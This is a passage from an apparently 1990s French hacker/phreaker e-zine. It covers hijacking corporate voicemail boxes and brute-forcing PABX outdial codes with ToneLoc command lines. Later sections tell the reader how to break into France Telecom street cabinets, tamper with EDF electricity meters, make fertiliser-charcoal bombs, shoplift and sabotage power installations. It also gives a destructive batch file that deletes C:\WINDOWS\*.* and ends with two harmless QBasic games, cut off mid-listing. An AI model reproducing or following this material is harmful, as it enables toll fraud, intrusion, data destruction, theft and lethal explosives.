    3: Reinitialisation d'une boite: cette commande peut s'effectuer sur une
BAL en service ou non. Les messages et repondeurs sont effaces, et le code est
remis au numero de la BAL.

       Il n'est malheureusement impossible de modifier le niveau d'une autre
BAL ni le filtre des indicatifs a ce point-ci.

               89: commande souvent retiree pour des raisons que je n'explique
pas encore...
 

                            -=[ 2.7 ABUSER DE LA VMB ]=-

Ben la je vous fais confiance :)
 

                                -=[ 3.0 PRECAUTIONS ]=-

Ben voila  une vmb c bien mais il faut faire attention de pas la griller
betement.
1. Ne jamais prendre une vmb deja utilisee a moins que vous n'en vouliez une
   d'urgence.
2. Ne jamais foutre le bronx sur les VMB a moins de vengeance iminente pensez
   aux autres.
3. Ne jamais virer les messages des autres utilisateurs.
4. Ne surchagez poa votre boite vocale avec une annonce de 30 minutes et 8000
   messages.
5. Amusez vous bien est soyez toujours des mecs cool.
6. Ne denoncez jamais un autre phreaker.
7. Vous risquez poa de vous faire tracer si vous avez poa une ligne numeris.

Bref les VMB c bien c facille c cool c pratique...
Mais LES PABX C MIEUX alors au prochain numero.

COD4 (une precision COD4 ne veut pas dire le quatrieme COD þa veut COD4 c
TOUT bon je m'en vais :)
 

++++++++++++++++++++++++++++++nEW NEW NEW NEw++++++++++++++++++++++++++++++++++

1: Comment se trouver facilement un BOITE VOCALE sur les VMB meridian !!

Vous avez le choix bien sur de scanner tous les numero de 5 en 5 mais bon
hum hum c long voici la meilleure façon hehe...
1.1 d'abords trouvez des boite meme utiliser pour cela
lors du debut du messages faites le 0* la vous allez tombez sur un message
qui tient a peu pres ce language "vous etes en relation avec un service qui
vous mettra en relation avec la personne ou le poste que vous desirez consulter
entrez le numero de poste de la perssone que vous desirez consulter suivi
du #(diese)". Hum bon pour chercher un poste occupe tapez des numeros
du genre 2100, 2300, 2400, etc vous voyez le genre bon une fois que vous
avez trouve une boite vocale notez la position ou elle se trouve.
Vous savez maitenant que il y'a un groupe de boites vocales autours d'elle
maintenant determiner le debut et la fin du groupe occupe.
ex: il y'a des boite vocales (de 2500 a 2550) vous avez donc un groupe de 50
boites vocales environ.
Allez voici le truc si la derniere VMB est 2550 ajoutez 5 est vous obtiendrez
la VMB 2555 (logique non) bon maitenant racrochez rappellez lors du message
faites 81 la tapez le numero de boite 2555 puis comme passe 2555 (attention ça
peut changer essayer le 0000 etc).
Hehe et vous voila avec un jolie boite vocale...
Et vous avez gagne du temps ;)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

LES OUTDIALS FACILES sur meridian (hehe meridian a mal) pour caller gratos
depuis UN MERIDIAN voici les 2 methodes que j'utilise d'abors loggez vous sur
votre VMB OK une fois desus faite 0* la vous allez tomber sur le classique
"vous etes en relation avec blablabla...." bon essayez votre numero comme
ça indicatif+numero+# a la fin EX: 00+numero+# (essayez tous les
indicatifs bateau)ou si vous etes un vrai acharne faites tous le numero de 0
a 99 bon ça marche poa arg passez a la methode 2 bon d'abord faut le
numero du standard oui je veux bien mais je le trouve comment ? la faut
ruser allez regardez comment j'ai recupere un bo numero de standard
# allo oui bonjour je voudrais connaitre votre numero
+ comment ?
# oui en faite j'ai mis votre numero dans la memoire de mon telephone est
  comme je voudrais le noter sur papier j'en aurais besoin!
+ ha oui je comprends ben c le XXX+XXX+XXXX

Bon un fois le numero entre les pognes prenez les 4 derniers chiffres du
numero qu'elle vous as donne EX. 12 34 '55 66' prenez le 55 66 en fait le
55 66 corespond au numero de poste du standard allez reconnectez vous sur
votre VMB faites 0* puis le 5566+numero+# voila c tout mais c deja poa mal
bon pour toute info je suis preneur ALLEZ BON HACK/PHREAK.
 

CREDITS
T7HS,PAceMAKer,BYpass,SORcErY,cleb,MayW33d,KWel,^mars ,loginz,
Morgan,scud ,zeb,pegase,ZZZ , est tous ceux du #hackfr
et larsen qui ma donne l'idÚe
noway qui ma ouvert les yeux
npc qui me les ouvre encore
dsk qui est vraiment actif
puis le phe
PUIS LE PLUS NOBLE DE TOUS

THE 7th HACKER'S SOCIETY
;)
 
 
 

L'article suivant est tiré de NoRoute #2 :
 
 

     PABX BACK AGAIN !
                                    by
                                   CoD4
                            -----------------

 WARNING: VOUS DEVEZ AVOIR AU MOINS LU LE FILE SUR LES PABX (cod4pabx.txt)
 ~~~~~~~  QUI EST DANS NOROUTE #1.

 Hello! Nous revoila plus forts que jamais ! Ca y est vous avez deja touche
aux PABX et vous avez un peu mieux compris comment ca marche. Vous avez
surement une bonne centaine de VMB, et a la limite vous avez deja reussi a
faire un outdial ! Mais voila vous etes un peu sur votre faim .... vous vous
lassez ?

 Hey! Avez-vous vraiment tous explore le PABX ? Non ? Vous avez alors loupe
pas mal de trucs ! Bon vous allez ratrapper tout ca.

                         -=$[ 1: SCAN du PABX ! ]$=-

 Scanner un PABX ? Voui, le scan du PABX va surement vous faire decouvrir
des trucs assez sympas comme: ligne de telegestion, FAX, modem, outdial,
etc... Bon,, je vais vous montrer comment on scanne un PABX depuis
l'interieur. D'abord, vous devez connaitre au moins un numero de poste. Pour
avoir un avoir un numero faites un tour par la VMB. Une fois que vous avez
trouve un numero de VMB (4150 par exemple), quittez la VMB. Mettez-vous sur
la tone du PABX puis composez les numeros de poste de 4100 a 4199. Notez
bien les numeros qui repondent et ceux qui ne repondent pas. La, si vous
tombez sur un carrier de NITEL, bingo! vous avez trouve la ligne de
telegestion (voir plus loin). Vous trouverez surement des fax, des modems,
des postes simples, puis peut-etre un poste va vous demander un numero de
code :) BINGO la ligne d'outdial.

                -=$[ 2: COMMENT CASSER LE CODE D'OUTDIAL ]$=-

 Plusieurs methodes...

 1: La force brute avec un wardialer
 2: Les mots de passe par defaut
 3: Le Social Enginirimachin :) ou la, comment baiser le mec quoi ;)

** 1 * La force brute avec un wardialer
 Bon, avec les wardialers actuels vous ne devez esperer qu'une fois que
vous avez compose le code ou vous tombez sur une tone sinon le wardialer
sera inefficace. Imaginons que vous vous voulez essayer, voici la ligne de
commande a utiliser avec ToneLoc.

 C:\TONELOC> toneloc xxx.dat /M0800123456,,,,,,,,,0,4147,XXXX

 Bon la on compose le 0800 123 456 on attend a peu pres 15 secondes histoire
que le PABX decroche, puis on compose le 0 pour avoir la tone, puis
composition du numero de poste, puis ToneLoc va essayer un chiffre entre
0000 et 9999. Un conseil: faites gaffe au timeout et scannez bien pour des
tones :)

 PS: ne venez poa me demander comment on fait marcher Toneloc, j'en ai marre
de re-expliquer comment ca marche ! Alors tu lis la doc ou NPC-001, non mais!

 PPS: un wardialer va sortir bientot (meme peut etre qu'il sera deja sorti
au moment ou je vous parle) qui va resoudre le probleme des PABX qui ont une
ligne d'outdial ou il y'a pas de tone apres avoir compose le numero.

** 2 * Les mots de passe par defaut
 On ne va pas repeter ce qui a deja ete dit... Ce sont les memes partout:
0000, 1111, etc... puis les mots de passe bidons comme 1234, 9876...

 C'est-a-dire qu'il faut composer tous les numeros de postes pour le trouver ?
Huhu, non :). Si vous composez le numero de poste 3XXX et que des que vous
avez a peine compose 3 ca a raccroche, ben c'est que deja il est pas dans
les 3XXX. La methode est un peu la meme que celle decrite dans les autres
articles !

 Comment savoir si c'est le poste d'oudial ?
 Facile! Si apres avoir compose le numero de poste il ne se passe rien et
que si vous composez encore genre 10 numeros et que ca sonne soit chez un mec
mal reveille ou que vous tombez sur la voix de FT qui vous dit que le numero
est poa atribue, ben vous avez gagne =)

 Comment le trouver avec ToneLoc ?
 Ok, j'ai compris, vous etes un feignant, et vous voulez pas le faire a la
main ! Il faut deja savoir dans quelle plage le poste d'outdial peut se
trouver (4XXX, 5XXX, 8XXX)... C'est le strict minimum !
 Ensuite, il vous faut un numero ou vous etes sur qu'un modem va repondre,
le 0800 44 55 66 par exemple.
 Vous n'avez plus qu'a lancer ToneLoc en mode de detection de carrier:

 C:\TONELOC> toneloc xxx.dat /M0800112233,,,,,,,0,4XXX,0800445566

 Bon, vous avez tous compris je suppose.

 ATTENTION! Cette methode n'est pas du tout conseillee car vous pouvez etre
sur que le gars du PABX va s'en apercevoir! 1000 appels en une soiree,
ca fait gros :/

                             -=$[ DiVERS ]$=-

 Si un jour vous vous promenez dans une entreprise, il est interessant de programmer un poste pour qu'il transfere les appels (vers une BBS tres
lointaine par ex :)  Mais bon, dans le cas ou on a acces a un poste, il y a tellement de trucs...

 Moi, par exemple quand j'en ai marre de scanner a la main un PABX, je lance ToneLoc en mode speaker ON est hop!, il le fait tres bien a ma place.

 C:\TONELOC> toneloc xxx.dat /M0800998877,,,,,,,0,41XX

 Pour tous ceux qui abusent de ToneLoc comme moi, voila une liste de commandesa faire pour virer les "numeros brules"...

   REFERENCE                           CHAINE(s) AT
  ----------------------------------------------------------------------
   Aceex 1414                          AT%T1
   BOCA-144 ultra                      ATX2 ou AT*F
   Creatix 144                         AT*F ou AT%TCB
   Creatix LC VFast                    AT%TCB
   Elsa Mircolink 28800TL              ATS31=128*W
   Escom Data Hawk                     AT&A0
   Hayes Optima 28.8                   AT%F0&W
   Multitech                           AT$V4
   Novafax 14400 et 28800              AT%TCB
   Olitec V32Bis et V34                ATX4 (anciens modeles)
                                       AT%X2 (nouveaux modeles)
   Pearl 1414TVH                       AT&F
   Telelink IMS-08 Faxline V.32terbo   AT%U75
   Telejet-2400 Fax SR :               AT*NC99 puis ATZ
   TKR Terboline                       AT*R0
   US Robotics 14400                   ATS34=192 ; ATS39=1 ; ATS40=1
   US Robotics 14400 Sportster         ATS40=7 ; ATS40=7
   US Robotics Courier DS 14.4         ATS34=192 ATS39=1 ATS40=1
   US Robotics DS 16.8 en V.32terbo    (brulage off) ATS40=2&W
   Autres US Robotics                  ATS40=2=20
   USR WoldPort                        AT%TCP
   Attel                               AT+N8
   CPV DeltaFax                        AT&A0=20
   Yoriko 14.4                         ATS70=64
   Modems a chip Rockwell's            AT%TCB
                                       AT$NC000
                                       AT$NC55
                                       AT$NC055
   Vrac                                ATS31=128
                                       AT%T1
                                       AT%U75
                                       AT%NC99 puis ATZ
                                       AT&D3 + DTR Low
                                       AT*R0
                                       ATS70=64 ou ATS70=192
                                       ATX2 ou AT*F ou AT%X2

 Voila, j'espere vous avoir comble, et si vous avez votre mot a ajouter ou des remarque a faire contactez-moi... codmik@hotmail.com

Les bornes France Telecom


   Les bornes France Telecom que l'on peut trouver dans la rue sont les chambres de division de cables. Celles-ci peuvent permettre la connection au téléphone et donc de phoner gratos ou d'aller gratos sur le net. Mais attention: il vous est déconseillé d'essayer de niquer une borne FT car celles-ci sont sous surveillance. En défonçant les portes de métal des bornes FT (avec le dessin d'un téléphone dessus), une alarme se déclanchera dans le central le plus proche. Il se peut cependant que dans les petites villes, où les bornes FT sont rarement surveillées, il n'y ait pas de système d'alarme. Il se peut aussi que le temps que les mecs du central arrivent, un bon bout de temps se soit passé; Comment savoir si une borne FT est sous surveillance. D'abord sortez de chez vous le soir, avec une cagoule de préférence pour pas qu'on repère votre visage, piquez des fringues hardos style blouson en cuir, prenez un pied de biche pour y aller à la brutalle, ou des outils pour y aller en douceur. La seconde solution est la mieux car on vous repèrera pas à 100 lieues à la ronde. Défoncez la borne FT, et allez vous planquer: ouvrez la en grand et tout hein - pas juste niquer le verrou. Ensuite allez vous planquer et armez vous de patience: pour éviter de vous faire chier allez foutre le bordel dans le quartier voisin en attendant les résultats. En revenant regardez si quelqu'un à refermé ou touché aux portes de la borne. Si oui c'est que la borne était grillée, notez le temps d'intervention: c'est le délai dont vous disposerez la prochaine fois pour faire vos magouilles. Si personne n'a touché à rien alors c'est le pied: défoncez leurs bornes... Mais attention: car même si elle est pas sous surveillance la borne que vous défoncez elle peut-être grillable.

Avoir de l'électricité gratos


   Cette technique est très risquée: essayez de remettre en place vos bidouilles avant que le mec qui vienne relever le compteur arrive et FAITES GAFFE A PAS VOUS FAIRE ELECTROCUTER!
Précautions: achetez vous des gants d'électricien (gants isolateurs: rien à craindre pour du 220W), et des tournevis testeurs. Bon, on va agir sur le compteur: regardez votre compteur électrique: pour l'ouvrir il y a une vis qui est pércée pour permettre à un fin ligament tamponnée EDF de passer. ce ligament assure que le compteur n'a jamais été ouvert. Alors bien sur on devrait s'arrêter là: ben non. Allez découper soigneusement le ligament sur un autre compteur (c'est facile si vous êtes dans un immeuble), de manière à ce qu'il soit presque intact. Ouvrez le compteur EDF, et mettez vos gants!!!
Bloquez le compteur d'une manière ou d'une autre refermez le compteur, soudez les 2 bouts du ligament de l'autre batiment que vous avez coupé soigneusement après l'avoir replacé sur la vis!!! Ca y est! Si le boulot est bien fait il devrait y voir que du feu le mec qui relève le compteur: mais un compteur bloqué à un stade de base parait louche nan? Alors faites gaffe.
Autre solution: détournez le fil élécetrique avant que celui-ci n'arrive au compteur et le dévier. Très dangereux alors mettez des gants! Mais ça c'est très vite grillé!

Faire des bombes


   Méfiez vous: en lisant ceci personne ne vous oblige à le faire! A la télé on vous dit d'acheter Canard WC et vous le faites pour autant? Non, je crois pas: alors inutile d'appliquer ce qui va suivre: c'est formellement interdit!! Pour faire votre petit mélange vous aurez besoin d'angrais, et de charbon. Vous prenez l'engrais et le charbon en proportions égales, vous réduisez le tout en poudre, commencez vos expériences avec d'infimes quantités... Essayez différents dosages: le résultat peut en être meilleur. Rappelez vous que 100gr. de ce mélange vous arrache la main, 200gr. et vous êtes mort. Si vous comprimez ce mélange dans une bouteille, la bouteille explose, dans ce cas c'est des éclats de verres sur plus de 50 mètres. Conseil pratique: mettez un fond d'essence ou de produit désodorisant au fond e la bouteille pour en imprégner le mélange: BADABOUM! Ca nique absolument tout!
Autre bombe à fabriquer: Un peu d'essence, des allumes-barbecues, de l'alcool à 90°, des désodorisants, un peu de dihydrogène si vous en avez: vous êtes mort et vous faites péter votre immeuble si vous en mettez en grande dose!

Voler dans les grandes surfaces


   Comment se préparer: évitez de prendre un sac à dos pour stocker ce que vous prendrez, c'est bien trop vite grillé, en revanche habillez vous comme ceci:
- tête nue.
- des vêtements: pas d'la marque
- pull long descendant en dessous du cul, de couleur foncée pour passer inaperçu.
- pantalon large, avec des poches, une ceinture autour du pantalon: une vieille ceinture, pantalon non voyant bien sur.
- une paire de ciseaux de cuisine, que la ceinture tiendra et que le pull cachera.
- un morceau de charbon (pour pécho les shoes)
- du liquide
- des chaussures lavées, belles, et propres... Il en est de même pour les vêtements qui doivent être beaux et repassés.

Astuce: Pour pas paraitre du tout suspect achetez de la viande pour le chien, du vin pour vous saouler, des légumes pour jeter sur les voitures... et dites que vous faites les courses pour vos parents.

Foutre le bordel au niveau de l'électricité


   Plusieurs façons de faire ça: trouver une borne EDF, buter la borne, prendre un grand seau d'eau et exploser la borne: risqué: éviter de se faire électrocuter.
Autre méthode: casser le filin de témoin d'un compteur électrique: il aura des emmerdes votre voisin!
Autre méthode: cacher les capteurs solaires de manière à garder tout le temps la lumière de la rue allumée.
Autre méthode: dévisser les ampoules mais très légèrement de manière à ce qu'elles ne s'allument plus, dans l'ascenseur, les cages d'escalier, etc...
Autre méthode: faire péter les fusibles en créant une surtension... Mettre en marche une quantité énorme d'appareils électriques.
C'est un peu d'la merde cet article: mais entre pote c'est heures de délires garanties.

Phoner gratos, voyager gratos.


Fichiers bat


   La création de fichiers .bat est simple: il suffit de s'y connaitre un peu en MS-DOS, et savoir taper sur son clavier. D'abord quelqes commandes de bases:
echo off : désactive l'affichage de ce qui se passe
dir C:\WINDOWS : affiche le contenu de C:\WINDOWS
del C:\WINDOWS\*.exe : efface tous les fichiers .exe du C:\WINDOWS
echo. : saute une ligne
echo J'écris bien hein? : affiche ce qui est écrit après [echo]
cls : efface l'écran
pause : demande d'appuyez sur une touche pour continuer
C:\WINDOWS\telnet.exe : éxécute telnet
Donc voici le genre de fichiers .bat extrèmement dangereux que vous pouvez faire:
echo off
echo this programm is created by XXX all rights reserved
pause
del C:\WINDOWS\*.*
dir C:\WINDOWS\
echo t'es mort
cls
On peut aussi créer des menus d'options:
 @echo off

:menu
cls
echo.
echo Menu d'options :
echo -----------------------
echo 1. Editer autoexec.bat
echo 2. Editer config.sys
echo.
echo Q. Quitter
echo.
choice /c:12Q /t:Q,60 /n Votre choix ?
if errorlevel 255 goto erreur
if errorlevel 3 goto Quitter
if errorlevel 2 goto EditConf
if errorlevel 1 goto EditAuto
if errorlevel 0 goto erreur
goto fin

:erreur
echo Il y a eu une erreur.
goto fin

:Quitter
goto fin

:EditConf
edit c:\config.sys
goto menu

:EditAuto
edit c:\autoexec.bat
goto menu
:fin

Si vous n'avez pas compris le passage sur la commande choice et errorlevel, voilà de quoi vous aider:
Aide sur CHOICE :

choice [/c:ON] [/t:X,nn] [/n] [Invite]
/c:ON Choix de lettres utilisables (ici O et N) (ON par défaut)
/t:X,nn Choisira automatiquement option X après nn secondes. X doit faire parti de la liste /c:
/n Interdit le respect de la casse
Invite Texte d'invite qui apparaît

Errorlevel correspond au choix de l'utilisateur. c'est comme la variable de réponse en Q-Basic.

Paramètre de la ligne de commande

@echo off
cls
echo.
echo Le prog est %0
echo.
echo Bonjour %1,
echo.
echo A plus, %2
 

Enregistrer sous "c:\test.bat" et taper sous dos :
c:\test.bat "votrenom" "unAutrenom"

%X correspond au Xième groupe de caractères sur la ligne de commande pour X={0;9}

Très pratique pour faire un prog d'installation :
xcopy a:\*.* %1:\%2
Ici, %1 est la lettre de lecteur et %2 le dossier.

Codes sources Basic

   Les codes sources qui vont suivre sont des codes sources à compiler avec Qbasic.
On n'en mettra que 2 pour ne pas trop charger.
Le premier: une attaque de martien by Sylvia Cabañas:
'  DECLARACION DE VARIABLES
disparo = 0

navX = 10
navY = 2
balX = 1
balY = 1
X = 40
Y = 20
 

hx = X
hy = Y

CLS

  LOCATE Y, X
  PRINT "X"

  DO
  TECLA$ = INKEY$
  tiempo = tiempo + 1
  tbala = tbala + 1

IF tiempo > 100 THEN
        tiempo = 1
        LOCATE navY, navX
        PRINT "   "
        navX = navX + 1

        IF navX > 70 THEN
          navX = 1
          navY = navY + 2
        END IF
        IF navY > 23 THEN
          navY = 23
          navX = 10
        END IF
END IF

IF tbala > 50 AND disparo = 1 THEN
        tbala = 1
        LOCATE balY, balX
        PRINT " "
        balY = balY - 1

        IF balY < 2 THEN
          disparo = 0
          LOCATE balY, balX
          PRINT " "
        ELSE
          LOCATE balY, balX
          PRINT "|"
        END IF

END IF

' Choque
IF navX + 1 = X AND navY = Y THEN
    LOCATE navY - 1, navX
    PRINT "\ /"
    LOCATE navY, navX
    PRINT "-X-"
    LOCATE navY + 1, navX
    PRINT "/ \"
END IF

' Balazo
IF navX + 1 = balX AND navY = balY THEN
    LOCATE navY - 1, navX
    PRINT "\ /"
    LOCATE navY, navX
    PRINT "-X-"
    LOCATE navY + 1, navX
    PRINT "/ \"
navX = 10
navY = 2
END IF
 
 

LOCATE navY, navX
PRINT "/o\"

  'PRINT TECLA$
  'PRINT "          > "; ASC(TECLA$); ASC(RIGHT$(TECLA$, 1))

  IF TECLA$ = CHR$(0) + CHR$(77) THEN X = X + 1
  IF TECLA$ = CHR$(0) + CHR$(75) THEN X = X - 1
  IF TECLA$ = CHR$(0) + CHR$(72) THEN Y = Y - 1
  IF TECLA$ = CHR$(0) + CHR$(80) THEN Y = Y + 1
  IF TECLA$ = " " AND disparo = 0 THEN
        disparo = 1
        balX = X
        balY = Y - 1
  END IF

  SELECT CASE X
    CASE IS > 80
       X = 80
    CASE IS < 1
       X = 1
  END SELECT
  SELECT CASE Y
    CASE IS > 23
       Y = 23
    CASE IS < 1
       Y = 1
  END SELECT

IF hx <> X OR hy <> Y THEN
  LOCATE hy, hx
  PRINT " "
  hx = X
  hy = Y
  LOCATE Y, X
  PRINT "X"
END IF

LOOP

Le second se caractérise par le fait que vous soyez un ver de terre dans un labyrinthe vivant par Clément HEDON:
22 CLS
SCREEN 1
LINE (50, 10)-(20, 10)
LINE (20, 10)-(20, 40)
LINE (20, 40)-(50, 40)
LINE (50, 40)-(50, 70)
LINE (50, 70)-(20, 70)
LINE (65, 10)-(115, 10)
LINE (90, 10)-(90, 70)
LINE (130, 10)-(175, 10)
LINE (175, 10)-(175, 70)
LINE (175, 70)-(130, 70)
LINE (130, 70)-(130, 10)
LINE (190, 10)-(190, 70)
LINE (190, 10)-(230, 10)
LINE (230, 10)-(230, 40)
LINE (230, 40)-(190, 40)
LINE (190, 40)-(230, 70)
LINE (245, 10)-(245, 70)
LINE (245, 10)-(273, 40)
LINE (273, 40)-(301, 10)
LINE (301, 10)-(301, 70)
LINE (15, 5)-(306, 5)
LINE (306, 5)-(306, 75)
LINE (306, 75)-(15, 75)
LINE (15, 75)-(15, 5)
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT "             Version 2"
PRINT ""
PRINT ""
PRINT ""
PRINT "             Pour jouer"
PRINT ""
PRINT "           Appuyez sur a"
LINE (80, 110)-(200, 110)
LINE (200, 110)-(200, 150)
LINE (200, 150)-(80, 150)
LINE (80, 150)-(80, 110)
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT "(C)Copyright Clem Hedon Corp. 1999"
15 IF INKEY$ = CHR$(97) THEN GOTO 30
GOTO 15
30 CLS
PRINT " "
PRINT " "
PRINT "          Quelle difficult‚ ?"
PRINT " "
PRINT " "
PRINT " "
PRINT " "
PRINT " 1 = facile"
PRINT " 2 = moyen"
PRINT " 3 = difficile"
PRINT " 4 = impossible"
LINE (70, 10)-(240, 10)
LINE (240, 10)-(240, 30)
LINE (240, 30)-(70, 30)
LINE (70, 30)-(70, 10)
16 c$ = INKEY$
IF c$ = CHR$(49) THEN GOTO 17
IF c$ = CHR$(50) THEN GOTO 18
IF c$ = CHR$(51) THEN GOTO 19
IF c$ = CHR$(52) THEN GOTO 20
GOTO 16
17 s = 2000
GOTO 21
18 s = 1000
GOTO 21
19 s = 500
GOTO 21
20 s = 200
GOTO 21
21 r = 0
0 CLS
SCREEN 1
RANDOMIZE TIMER
b = INT(RND * 100) + 1
c = INT(RND * 100) + 1
d = 0
e = INT(RND * 100) + 1
f = INT(RND * 100) + 1
g = INT(RND * 100) + 1
h = INT(RND * 100) + 1
i = INT(RND * 100) + 1
j = INT(RND * 100) + 1
k = INT(RND * 100) + 1
l = INT(RND * 100) + 1
m = INT(RND * 100) + 1
n = INT(RND * 100) + 1
o = INT(RND * 100) + 1
LINE (40, 0)-(40, b)
LINE (40, b + 20)-(40, 200)
LINE (60, 0)-(60, c)
LINE (60, c + 15)-(60, 200)
LINE (80, 0)-(80, d)
LINE (80, d + 20)-(80, 200)
LINE (80, d)-(80, d + 20), couleur% = 1
LINE (100, 0)-(100, e)
LINE (100, e + 15)-(100, 200)
LINE (120, 0)-(120, f)
LINE (120, f + 15)-(120, 200)
LINE (140, 0)-(140, g)
LINE (140, g + 15)-(140, 200)
LINE (160, 0)-(160, h)
LINE (160, h + 15)-(160, 200)
LINE (180, 0)-(180, i)
LINE (180, i + 15)-(180, 200)
LINE (200, 0)-(200, j)
LINE (200, j + 10)-(200, 200)
LINE (220, 0)-(220, k)
LINE (220, k + 10)-(220, 200)
LINE (240, 0)-(240, l)
LINE (240, l + 10)-(240, 200)
LINE (260, 0)-(260, m)
LINE (260, m + 10)-(260, 200)
LINE (280, 0)-(280, n)
LINE (280, n + 10)-(280, 200)
LINE (300, 0)-(300, o)
LINE (300, o + 5)-(300, 200)
p = 0
q = 100
1 PSET (p, q)
IF p = 40 AND q <= b THEN GOTO 4
IF p = 40 AND q >= b + 20 THEN GOTO 4
IF p = 60 AND q <= c THEN GOTO 4
IF p = 60 AND q >= c + 15 THEN GOTO 4
IF p = 100 AND q <= e THEN GOTO 4
IF p = 100 AND q >= e + 15 THEN GOTO 4
IF p = 120 AND q <= f THEN GOTO 4
IF p = 120 AND q >= f + 15 THEN GOTO 4
IF p = 140 AND q <= g THEN GOTO 4
IF p = 140 AND q >= g + 15 THEN GOTO 4
IF p = 160 AND q <= h THEN GOTO 4
IF p = 160 AND q >= h + 15 THEN GOTO 4
IF p = 180 AND q <= i THEN GOTO 4
IF p = 180 AND q >= i + 15 THEN GOTO 4
IF p = 200 AND q <= j THEN GOTO 4
IF p = 200 AND q >= j + 10 THEN GOTO 4
IF p = 220 AND q <= k THEN GOTO 4
IF p = 220 AND q >= k + 10 THEN GOTO 4
IF p = 240 AND q <= l THEN GOTO 4
IF p = 240 AND q >= l + 10 THEN GOTO 4
IF p = 260 AND q <= m THEN GOTO 4
IF p = 260 AND q >= m + 10 THEN GOTO 4
IF p = 280 AND q <= n THEN GOTO 4
IF p = 280 AND q >= n + 10 THEN GOTO 4
IF p = 300 AND q <= o THEN GOTO 4
IF p = 300 AND q >= o + 5 THEN GOTO 4
IF d = 180 THEN GOTO 5
IF p = 80 AND q <= d THEN GOTO 4
IF p = 80 AND q >= d + 20 THEN GOTO 4
IF p = 320 THEN GOTO 8
LINE (80, 0)-(80, d)
LINE (80, d + 20)-(80, 200)
LINE (80, d)-(80, d + 20), couleur% = 1
d = d + 1
p = p + 1
c$ = INKEY$
IF c$ = CHR$(53) THEN GOTO 2
IF c$ = CHR$(50) THEN GOTO 3
FOR z = 1 TO s
NEXT
GOTO 1
2 PSET (p, q)
IF p = 40 AND q <= b THEN GOTO 4
IF p = 40 AND q >= b + 20 THEN GOTO 4
IF p = 60 AND q <= c THEN GOTO 4
IF p = 60 AND q >= c + 15 THEN GOTO 4
IF p = 100 AND q <= e THEN GOTO 4
IF p = 100 AND q >= e + 15 THEN GOTO 4
IF p = 120 AND q <= f THEN GOTO 4
IF p = 120 AND q >= f + 15 THEN GOTO 4
IF p = 140 AND q <= g THEN GOTO 4
IF p = 140 AND q >= g + 15 THEN GOTO 4
IF p = 160 AND q <= h THEN GOTO 4
IF p = 160 AND q >= h + 15 THEN GOTO 4
IF p = 180 AND q <= i THEN GOTO 4
IF p = 180 AND q >= i + 15 THEN GOTO 4
IF p = 200 AND q <= j THEN GOTO 4
IF p = 200 AND q >= j + 10 THEN GOTO 4
IF p = 220 AND q <= k THEN GOTO 4
IF p = 220 AND q >= k + 10 THEN GOTO 4
IF p = 240 AND q <= l THEN GOTO 4
IF p = 240 AND q >= l + 10 THEN GOTO 4
IF p = 260 AND q <= m THEN GOTO 4
IF p = 260 AND q >= m + 10 THEN GOTO 4
IF p = 280 AND q <= n THEN GOTO 4
IF p = 280 AND q >= n + 10 THEN GOTO 4
IF p = 300 AND q <= o THEN GOTO 4
IF p = 300 AND q >= o + 5 THEN GOTO 4
IF q <= 0 THEN GOTO 4
IF d = 180 THEN GOTO 6
IF p = 80 AND q <= d THEN GOTO 4
IF p = 80 AND q >= d + 20 THEN GOTO 4
LINE (80, 0)-(80, d)
LINE (80, d + 20)-(80, 200)
LINE (80, d)-(80, d + 20), couleur% = 1
d = d + 1
q = q - 1
IF INKEY$ = CHR$(51) THEN GOTO 1
FOR z = 1 TO s
NEXT
GOTO 2
3 PSET (p, q)
IF p = 40 AND q <= b THEN GOTO 4
IF p = 40 AND q >= b + 20 THEN GOTO 4
IF p = 60 AND q <= c THEN GOTO 4
IF p = 60 AND q >= c + 15 THEN GOTO 4
IF p = 100 AND q <= e THEN GOTO 4
IF p = 100 AND q >= e + 15 THEN GOTO 4
IF p = 120 AND q <= f THEN GOTO 4
IF p = 120 AND q >= f + 15 THEN GOTO 4
IF p = 140 AND q <= g THEN GOTO 4
IF p = 140 AND q >= g + 15 THEN GOTO 4
IF p = 160 AND q <= h THEN GOTO 4
IF p = 160 AND q >= h + 15 THEN GOTO 4
IF p = 180 AND q <= i THEN GOTO 4
IF p = 180 AND q >= i + 15 THEN GOTO 4
IF p = 200 AND q <= j THEN GOTO 4
IF p = 200 AND q >= j + 10 THEN GOTO 4
IF p = 220 AND q <= k THEN GOTO 4
IF p = 220 AND q >= k + 10 THEN GOTO 4
IF p = 240 AND q <= l THEN GOTO 4
IF p = 240 AND q >= l + 10 THEN GOTO 4
IF p = 260 AND q <= m THEN GOTO 4
IF p = 260 AND q >= m + 10 THEN GOTO 4
IF p = 280 AND q <= n THEN GOTO 4
IF p = 280 AND q >= n + 10 THEN GOTO 4
IF p = 300 AND q <= o THEN GOTO 4
IF p = 300 AND q >= o + 5 THEN GOTO 4
IF q >= 200 THEN GOTO 4
IF d = 180 THEN GOTO 7
IF p = 80 AND q <= d THEN GOTO 4
IF p = 80 AND q >= d + 20 THEN GOTO 4
LINE (80, 0)-(80, d)
LINE (80, d + 20)-(80, 200)
LINE (80, d)-(80, d + 20), couleur% = 1
d = d + 1
q = q + 1
IF INKEY$ = CHR$(51) THEN GOTO 1
FOR z = 1 TO s
NEXT
GOTO 3
5 PSET (p, q)
IF p = 40 AND q <= b THEN GOTO 4
IF p = 40 AND q >= b + 20 THEN GOTO 4
IF p = 60 AND q <= c THEN GOTO 4
IF p = 60 AND q >= c + 15 THEN GOTO 4
IF p = 100 AND q <= e THEN GOTO 4
IF p = 100 AND q >= e + 15 THEN GOTO 4
IF p = 120 AND q <= f THEN GOTO 4
IF p = 120 AND q >= f + 15 THEN GOTO 4
IF p = 140 AND q <= g THEN GOTO 4
IF p = 140 AND q >= g + 15 THEN GOTO 4
IF p = 160 AND q <= h THEN GOTO 4
IF p = 160 AND q >= h + 15 THEN GOTO 4
IF p = 180 AND q <= i THEN GOTO 4
IF p = 180 AND q >= i + 15 THEN GOTO 4
IF p = 200 AND q <= j THEN GOTO 4
IF p = 200 AND q >= j + 10 THEN GOTO 4
IF p = 220 AND q <= k THEN GOTO 4
IF p = 220 AND q >= k + 10 THEN GOTO 4
IF p = 240 AND q <= l THEN GOTO 4
IF p = 240 AND q >= l + 10 THEN GOTO 4
IF p = 260 AND q <= m THEN GOTO 4
IF p = 260 AND q >= m + 10 THEN GOTO 4
IF p = 280 AND q <= n THEN GOTO 4
